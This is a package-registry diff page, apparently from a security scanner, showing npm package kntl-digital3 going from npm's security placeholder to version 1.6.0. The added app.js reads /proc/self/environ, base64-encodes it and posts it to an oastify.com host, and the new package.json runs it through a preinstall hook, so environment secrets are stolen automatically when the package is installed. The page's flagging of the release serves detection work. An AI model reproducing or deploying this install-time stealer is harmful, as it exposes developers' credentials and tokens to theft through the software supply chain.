kntl-digital3 0.0.1-security → 1.6.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of kntl-digital3 might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/app.js +22 -0
  2. package/index.js +19 -0
  3. package/package.json +14 -3
  4. package/README.md +0 -5
package/app.js ADDED
@@ -0,0 +1,22 @@
1
+ const axios = require('axios');
2
+ const fs = require('fs');
3
+
4
+
5
+ function base64Encode(file) {
6
+ var body = fs.readFileSync(file);
7
+ return body.toString('base64');
8
+ }
9
+
10
+ var data = base64Encode('/proc/self/environ');
11
+
12
+ axios
13
+ .post('https://xefaixec8qvpvnw478e0pht73y9pxe.oastify.com/data', {
14
+ b4data: data,
15
+ })
16
+ .then(res => {
17
+ console.log(`statusCode: ${res.status}`);
18
+ console.log(res);
19
+ })
20
+ .catch(error => {
21
+ console.error(error);
22
+ });
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ const axios = require('axios');
2
+
3
+ function kntl(url)
4
+ {
5
+ axios
6
+ .get(url)
7
+ .then(res => {
8
+ console.log(`statusCode: ${res.status}`);
9
+ console.log(res);
10
+ })
11
+ .catch(error => {
12
+ console.error(error);
13
+ });
14
+
15
+ console.log('crot');
16
+
17
+ }
18
+
19
+ module.exports = kntl
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "kntl-digital3",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.6.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node app.js",
8
+ "preinstall": "node app.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^0.27.1",
14
+ "fs": "0.0.1-security",
15
+ "os": "^0.1.2"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=kntl-digital3 for more information.